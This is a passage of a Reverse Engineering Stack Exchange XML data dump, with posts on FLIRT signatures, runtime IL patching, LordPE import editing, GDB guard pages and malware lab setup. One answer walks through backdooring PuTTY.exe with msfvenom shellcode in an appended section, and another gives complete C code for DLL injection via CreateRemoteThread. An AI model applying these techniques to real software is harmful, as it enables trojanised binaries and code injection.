&gt;&amp;lt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;3E 3C 00 20 is 0x20003C3E for little endian 32-bit and 0x3C3E is in range 0-0x1E707, so&#xA;assuming start address of firmware is 0x20000000&lt;/p&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-03-29T13:49:07.757" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20995" PostTypeId="2" ParentId="20988" CreationDate="2019-03-29T14:05:14.250" Score="1" Body="&lt;p&gt;If you have the exact copy of the open-source library binary used in the project (the &lt;code&gt;.a&lt;/code&gt; or &lt;code&gt;.lib&lt;/code&gt; file), you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flair&lt;/a&gt; to generate &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt; signatures for it and then load and apply these signatures in your closed-source IDA project.&lt;/p&gt;&#xA;" OwnerUserId="27751" LastActivityDate="2019-03-29T14:05:14.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20996" PostTypeId="2" ParentId="20954" CreationDate="2019-03-29T15:05:57.527" Score="1" Body="&lt;p&gt;I tried to replicate to hijack the entrypoint, but in this example, the first instruct is not jump, so I have to find another instruction with size of 5 which call 0x449674.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MUCGj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUCGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appended another section text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yypaP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yypaP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generated a simple shellcode with this command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;msfvenom -p windows/exec CMD=calc.exe EXITFUNC=none -f hex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aZWSf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aZWSf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I had to do is write the shellcode in the appended section.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IYgw2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IYgw2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first we have to modify the address in order to redirect the control to our shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n0hz5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0hz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, we created our backdoor, however, how can we revert back the control to PuTTY.exe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just modified a few opcodes at the end of the shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xh15D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xh15D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why JUMP not CALL? Let's check the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a JUMP, it will go to the original address:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pSCzs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pSCzs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a CALL, it will pushes the RETURN address where it came from:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jYipr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jYipr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z2aEQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z2aEQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2019-03-29T15:05:57.527" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20997" PostTypeId="1" AcceptedAnswerId="21014" CreationDate="2019-03-29T17:41:55.093" Score="2" ViewCount="6842" Body="&lt;p&gt;I am trying to change a part in a third party library, it has a bug, however, there are no fixes and source code is not available as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I tried to modify &lt;strong&gt;IL Opcodes&lt;/strong&gt; directly by disassembling an assembly, but it has some kind of protection, so after recompiling it I was not able to use it even that I had removed &lt;code&gt;Strong Name verification&lt;/code&gt; from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to change &lt;code&gt;IL instructions&lt;/code&gt; in runtime, however &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        InjectionHelper.Initialize();&#xA;        InjectionHelper.WaitForIntializationCompletion();&#xA;        Type type = obj.GetType();&#xA;        var methods = type.GetMethods();&#xA;       // MethodInfo targetMethod = type.GetMethod(&quot;MethodName&quot;,  BindingFlags.NonPublic | BindingFlags.Instance);&#xA;&#xA;        var methodInfo = type&#xA;            .GetMethods(BindingFlags.NonPublic | BindingFlags.Instance).Single(&#xA;                m =&amp;gt;&#xA;                    m.ReturnType == typeof(string) &amp;amp;&amp;amp;&#xA;                    m.GetParameters().Length == 1);&#xA;&#xA;        RuntimeHelpers.PrepareMethod(methodInfo.MethodHandle);&#xA;        byte[] ilOpCodes = methodInfo.GetMethodBody()?.GetILAsByteArray();&#xA;        for (int i = 0; i &amp;lt; ilOpCodes.Length; i++)&#xA;        {&#xA;            if (ilOpCodes[i] == OpCodes.Ldc_I4_1.Value)&#xA;            {&#xA;                ilOpCodes[i] = (byte) OpCodes.Ldc_I4_0.Value;&#xA;                break;&#xA;            }&#xA;        }&#xA;        InjectionHelper.UpdateILCodes(methodInfo,ilOpCodes);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But unfortunately got an exception.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unhandled Exception: System.Exception: UpdateILCodes() failed, please check the initialization is failed or uncompleted.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any mistake I made? I used this article as a reference &lt;a href=&quot;https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time&lt;/a&gt; &#xA;So what is the best way to make it usable?&lt;/p&gt;&#xA;" OwnerUserId="22290" LastEditorUserId="22290" LastEditDate="2019-03-30T11:15:58.433" LastActivityDate="2019-03-31T21:57:21.900" Title="C# Changing method body in runtime" Tags="|disassembly|assembly|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20999" PostTypeId="2" ParentId="20965" CreationDate="2019-03-30T01:35:11.267" Score="1" Body="&lt;p&gt;What I found that fits my requirements is a free open source tool called &lt;a href=&quot;http://www.rpcview.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RpcView&lt;/a&gt;, which can enumerate endpoints and interfaces from a selected process, list its corresponding procedures with their respective addresses in the process' address space, and decompile interfaces into idl files. It also works on x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One small detail is that by default it seems to refresh the process list every second, which causes it to lag quite harshly. To solve the problem I just had to set the refresh rate to manual from the options menu.&lt;/p&gt;&#xA;" OwnerUserId="25972" LastActivityDate="2019-03-30T01:35:11.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21000" PostTypeId="1" CreationDate="2019-03-30T14:21:35.237" Score="3" ViewCount="2520" Body="&lt;p&gt;With the help of IDA I was able to hard-code changes into an executable by simply replacing some bytes with a hex editor, what I did was to change the resolution to something larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've learnt that it's possible to do a similar thing with hooks, so I transferred all of the edits to multiple hooks. Now the issue is that I need to load my newly created DLL before anything else which means using a different method other than simply injecting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense, what would be the best method to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="27983" LastActivityDate="2019-03-31T06:29:59.350" Title="Permanently load a DLL to an executable" Tags="|ida|dll|dll-injection|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21001" PostTypeId="1" CreationDate="2019-03-30T16:33:51.787" Score="1" ViewCount="627" Body="&lt;p&gt;I downloaded and unpacked the modem from Google source, after that&#xA;I used laginimaineb's script to unify all modem binary data. However, when loading this binary to IDA, I get an error says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Binary data is incorrect, maximum possible value is xxxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I tried to do the same thing by pulling this modem.b* from the device itself. The same behavior.&lt;/p&gt;&#xA;&lt;p&gt;I opened up this binary into 010 Editor and check the section size, and it seems like the sections have a size bigger than the binary size.&lt;/p&gt;&#xA;&lt;p&gt;How could I fix the binary? Assuming that the first sections are valid, could I use that information to calculate the further section sizes?&lt;/p&gt;&#xA;" OwnerUserId="27984" LastEditorUserId="37138" LastEditDate="2021-12-17T18:39:07.230" LastActivityDate="2021-12-17T18:39:07.230" Title="Disassembling Hexagon - Corrupted ELF" Tags="|ida|firmware|elf|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21002" PostTypeId="1" CreationDate="2019-03-30T18:48:31.150" Score="1" ViewCount="371" Body="&lt;p&gt;I'm not sure that this is the right SO community to be asking this in, but I thought I'd give it a try. Some friends and I have successfully detoured a game built with UE4 by loading a modified xinput_3.dll. The annoyance is now that types from functions we detour need to be recreated in some method. Up until now, my friends have just been disassembling and recreating on our side of the fence. I had the idea to just compile using the UE4 headers since they're publicly available. I've finagled my way into being able to include their files, but trying to use anything results in unresolved symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is marked &lt;code&gt;__declspec(dllimport)&lt;/code&gt; so evidently I need to be linking against something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to link against the game exe to obtain these imports since UE4 is statically linked into it? Alternatively (though all my research suggests not), can UE4 be built into a dll?&lt;/p&gt;&#xA;" OwnerUserId="27986" LastActivityDate="2019-03-30T18:48:31.150" Title="Detouring with Unreal Engine 4, importing exe functions" Tags="|windows|dll-injection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21003" PostTypeId="2" ParentId="21000" CreationDate="2019-03-30T19:37:12.433" Score="6" Body="&lt;p&gt;An easy way to do this is to modify the IAT (Import Address Table/Import Directory) which can be done with a tool such as &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/images/Bin_LordPE_2010-6-29_3.9_LordPE_1.41_Deluxe_b.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;LordPE&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the main screen choose &lt;code&gt;PE Editor&lt;/code&gt; and select the executable (or DLL) that you wish to modify:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mY2qs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mY2qs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then click &lt;code&gt;Directories&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9Xzg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Xzg7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click the Ellipsis button next to &lt;code&gt;Import Table&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jVmMS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVmMS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right Click and choose &lt;code&gt;add import&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eUdyZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUdyZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now add your dll and an export from the DLL:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4fgcA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4fgcA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;code&gt;OK&lt;/code&gt; and then &lt;code&gt;SAVE&lt;/code&gt;. Although not required you can correct the PE checksum with the &lt;code&gt;?&lt;/code&gt; button (and save afterwards):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DEuc5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEuc5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that adding the import doesn't mean that the executable loading your dll calls the export specified. It just means that the dll will be loaded and it's &lt;code&gt;DLLMain&lt;/code&gt; will be called.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-03-30T19:37:12.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21004" PostTypeId="1" AcceptedAnswerId="21005" CreationDate="2019-03-31T00:33:38.690" Score="1" ViewCount="539" Body="&lt;p&gt;I came across a question the other day on reddit: How can we use PAGE_GUARD-based memory breakpoints in GDB (not hardware breakpoints)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ollydbg, x64dbg and IDA PRO all support these types of breakpoints, but I couldnt find a way in GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not available, is it possible to set the PAGE_GUARD bit manually in GDB?&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2019-04-04T06:44:52.020" Title="GUARD_PAGE memory breakpoints with gdb?" Tags="|ida|gdb|memory|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21005" PostTypeId="2" ParentId="21004" CreationDate="2019-03-31T05:43:54.680" Score="2" Body="&lt;p&gt;According to &lt;code&gt;man mmap&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  PROT_NONE  The memory cannot be accessed at all.&#xA;  PROT_READ  The memory can be read.&#xA;  PROT_WRITE The memory can be modified.&#xA;  PROT_EXEC  The memory can be executed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PROT_NONE&lt;/code&gt; will act like a guard page by hitting a &lt;code&gt;SIGSEGV&lt;/code&gt; when accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page with &lt;code&gt;PROT_NONE&lt;/code&gt; looks like this in the map during runtime&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    0x7ffff7ff7000     0x7ffff7ff8000 ---p     1000 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt; allows you to call arbitrary functions in the process space. A simple solution would be to run this under gdb &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print mprotect($address,0x1000,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would set &lt;code&gt;PROT_NONE&lt;/code&gt; = 0 permissions on the page and it will act as a guard page.&#xA;If after hitting &lt;code&gt;SIGSEGV&lt;/code&gt; you want to remap the page as rw (PROT_READ|PROT_WRITE)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print mprotect($address,0x1000,3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to add an extra page mapped as guard page like the page heaps in windows, you can call mmap.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print /a mmap($address+0x1000,0x1000,0,0x22,-1,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here 0x22 is &lt;code&gt;MAP_PRIVATE|MAP_ANONYMOUS&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2019-04-04T06:44:52.020" LastActivityDate="2019-04-04T06:44:52.020" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21006" PostTypeId="2" ParentId="21000" CreationDate="2019-03-31T06:29:59.350" Score="4" Body="&lt;p&gt;You could create a loader which simply creates your target app in suspended state and loads dll into virtual address space of that process. That way the dll you injected would run before entrypoint of the target app.&#xA;Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STARTUPINFO si;&#xA;PROCESS_INFORMATION pi;&#xA;ZeroMemory(&amp;amp;si, sizeof(STARTUPINFO));&#xA;ZeroMemory(&amp;amp;pi, sizeof(PROCESS_INFORMATION));&#xA;si.cb = sizeof(STARTUPINFO);&#xA;LPCSTR dllname = &quot;testdll.dll&quot;;&#xA;LPVOID stringAddr = NULL;&#xA;LPVOID LoadLib = NULL;&#xA;&#xA;LoadLib = GetProcAddress(GetModuleHandle(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);&#xA;if (LoadLib == NULL) {&#xA;    return -1;&#xA;}&#xA;&#xA;if (!CreateProcess(TEXT(&quot;target.exe&quot;), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;amp;si, &amp;amp;pi)) {&#xA;    return -1;&#xA;}&#xA;&#xA;stringAddr = VirtualAllocEx(pi.hProcess, NULL, strlen(dllname), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);&#xA;if (stringAddr == NULL) {&#xA;    return -1;&#xA;}&#xA;&#xA;WriteProcessMemory(pi.hProcess, stringAddr, dllname, strlen(dllname), NULL);&#xA;CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLib, stringAddr, NULL, NULL);&#xA;ResumeThread(pi.hThread);&#xA;WaitForSingleObject(pi.hProcess, INFINITE);&#xA;&#xA;CloseHandle(pi.hProcess);&#xA;CloseHandle(pi.hThread);&#xA;return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user27990" LastActivityDate="2019-03-31T06:29:59.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21008" PostTypeId="2" ParentId="20984" CreationDate="2019-03-31T08:00:15.130" Score="2" Body="&lt;p&gt;The steps i take when analyzing malware sample are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;check file in cff explorer. (entrypoint section, weird section names, overlay size etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;open sample in Detect It Easy to see if its packed or not, and if so which packer is used.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unpack it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Analyze unpacked sample in IDA to see what I'm dealing with.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, you have to make a snapshot of your system before you run your sample.&#xA;If your goal is &quot;figuring out what has changed&quot; rather than unpacking, checkout process explorer and process monitor from sysinternals suite. Wireshark is also a good habit to run in background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use online sandboxes for that purpose. checkout &lt;a href=&quot;https://github.com/rshipp/awesome-malware-analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rshipp/awesome-malware-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get unpacking tuts and scripts check &lt;a href=&quot;https://tuts4you.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tuts4you.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user27990" LastActivityDate="2019-03-31T08:00:15.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21009" PostTypeId="2" ParentId="20984" CreationDate="2019-03-31T11:27:40.983" Score="5" Body="&lt;p&gt;I find it really disturbing that in an official university class there are no proper safety guidelines and procedures for students before dealing with actual malware. This is super risky and should be dealt with accordingly. However, here are a few steps to make your task safer and easier:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Building a malware lab:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can follow the full procedure &lt;a href=&quot;https://zeltser.com/free-malware-analysis-windows-vm/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; by Lenny Zelster. In short, it has the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Virtualization Software - I recommend &lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot; rel=&quot;noreferrer&quot;&gt;Virtualbox&lt;/a&gt; for beginners.&lt;/li&gt;&#xA;&lt;li&gt;Get a Windows Virtual Machine - You can &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines&quot; rel=&quot;noreferrer&quot;&gt;download&lt;/a&gt; a free trial from Microsoft.&lt;/li&gt;&#xA;&lt;li&gt;Update the VM and Install Malware Analysis Tools - Static Analysis: &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;noreferrer&quot;&gt;IDA&lt;/a&gt;, &lt;a href=&quot;https://github.com/radareorg/cutter&quot; rel=&quot;noreferrer&quot;&gt;Cutter&lt;/a&gt;, &lt;a href=&quot;https://www.winitor.com/get.html&quot; rel=&quot;noreferrer&quot;&gt;PE Studio&lt;/a&gt;, Dynamic Analysis: &lt;a href=&quot;https://x64dbg.com/#start&quot; rel=&quot;noreferrer&quot;&gt;X64dbg&lt;/a&gt;, &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;noreferrer&quot;&gt;OllyDbg&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools&quot; rel=&quot;noreferrer&quot;&gt;WinDbg&lt;/a&gt;, &lt;a href=&quot;https://www.immunityinc.com/products/debugger/&quot; rel=&quot;noreferrer&quot;&gt;Immunity Debugger&lt;/a&gt;. You can also find many other tools and guides &lt;a href=&quot;https://github.com/rshipp/awesome-malware-analysis&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Specific tools for your mission &quot;figuring out what has changed&quot;: &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/&quot; rel=&quot;noreferrer&quot;&gt;Sysinternals&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Understanding our task:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once your lab is set, let's examine our tasks, from your words:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;checking for changes on the system&quot; &amp;amp; &quot;figuring out what has changed&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since we are dealing with a Windows based system, we need to ask ourselves what possible system changes can be done by malware and for what purpose. For example, malware is usually looking to achieve some kind of persistency. This is usually done by the following methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registry run keys&lt;/li&gt;&#xA;&lt;li&gt;Startup folder&lt;/li&gt;&#xA;&lt;li&gt;Scheduled tasks&lt;/li&gt;&#xA;&lt;li&gt;Service registrations&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A much more comprehensive list is available by MITRE ATT&amp;amp;CK &lt;a href=&quot;https://attack.mitre.org/tactics/TA0003/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, malware usually has some sort of intention, for example stealing &lt;a href=&quot;https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html&quot; rel=&quot;noreferrer&quot;&gt;cookies&lt;/a&gt;, hooking to a &lt;a href=&quot;https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20&quot; rel=&quot;noreferrer&quot;&gt;web browsers&lt;/a&gt; or maybe just wait for a &lt;a href=&quot;https://www.us-cert.gov/ncas/alerts/TA18-201A&quot; rel=&quot;noreferrer&quot;&gt;secondary&lt;/a&gt; payload or update. If we ignore &lt;a href=&quot;https://zeltser.com/fileless-malware-beyond-buzzword/&quot; rel=&quot;noreferrer&quot;&gt;&quot;Fileless&quot; or &quot;Memory Injections&quot;&lt;/a&gt; attacks for the simplicity of this short guide, malware has to leave some file traces on the system. We need to look for files (executable or not) written to the file system. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Getting our hands dirty:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to monitor the system changes mentioned above, we can use Sysinternal tools initially developed by Mark Russinovich and now owned by Microsoft. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: it's recommended to read Mark's &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals&quot; rel=&quot;noreferrer&quot;&gt;Windows Internals book&lt;/a&gt; for anyone starting with malware analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being more specific, the tools of the Sysinternals suite you should learn how to use are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns&quot; rel=&quot;noreferrer&quot;&gt;Autoruns&lt;/a&gt; - execute and note your initial system values.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;noreferrer&quot;&gt;Process Monitor&lt;/a&gt; - After you read the manual, create a filter to only follow the malware you are executing. Note any file and registry changes, this will be a really good starting point.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns&quot; rel=&quot;noreferrer&quot;&gt;Autoruns&lt;/a&gt; - execute and note any changes to your system and what new autoruns have been registered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The guide above should get you to a good starting point for your project.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you want to cheat&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can skip all this stages and use one of the publicly available malware detonation sandboxes. However,  in order to become a reverse engineer or malware analyst you should only use these tools once you have learned the basics and understand what you are actually doing. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hybrid-analysis.com/&quot; rel=&quot;noreferrer&quot;&gt;Hybrid-Analysis&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://app.sndbox.com/&quot; rel=&quot;noreferrer&quot;&gt;Sndbox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://app.any.run/#register&quot; rel=&quot;noreferrer&quot;&gt;Anyrun&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2019-03-31T11:27:40.983" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
